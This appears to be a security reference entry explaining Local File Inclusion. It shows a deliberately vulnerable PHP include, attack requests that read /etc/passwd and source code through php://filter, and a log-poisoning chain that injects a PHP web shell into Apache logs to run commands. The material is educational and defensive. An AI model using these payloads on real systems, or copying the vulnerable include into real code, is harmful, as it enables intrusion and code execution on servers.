LFI
HighLocal File Inclusion
Definition
Local File Inclusion (LFI) is a vulnerability that lets an attacker include local server files by tampering with input parameters. Unlike Path Traversal, which only reads files, LFI can execute code if the included file contains code in the server's language (PHP, JSP, etc.).
Impact
Reading sensitive server filesArbitrary code execution (LFI to RCE via log poisoning)Access to the application's source codeReading environment variables and secretsChaining with other vulnerabilities for privilege escalation
Examples
Basic LFI in PHP
The PHP code includes a file based on a user parameter. Using PHP wrappers such as php://filter, the attacker can read the source code of any PHP file on the server, Base64-encoded.
# Vulnerable code <?php include($_GET['page'] . '.php'); ?> # Legitimate request GET /index.php?page=about # LFI attack GET /index.php?page=../../../etc/passwd%00 GET /index.php?page=php://filter/convert.base64-encode/resource=config
LFI to RCE via Log Poisoning
The attacker first injects PHP code into the web server's logs. They then use LFI to include the log file, executing the injected PHP code with the ability to run system commands.
# 1. Poison Apache's access logs GET /<?php system($_GET['cmd']); ?> HTTP/1.1 Host: victim.com # 2. Include the poisoned log via LFI GET /index.php?page=../../../var/log/apache2/access.log&cmd=id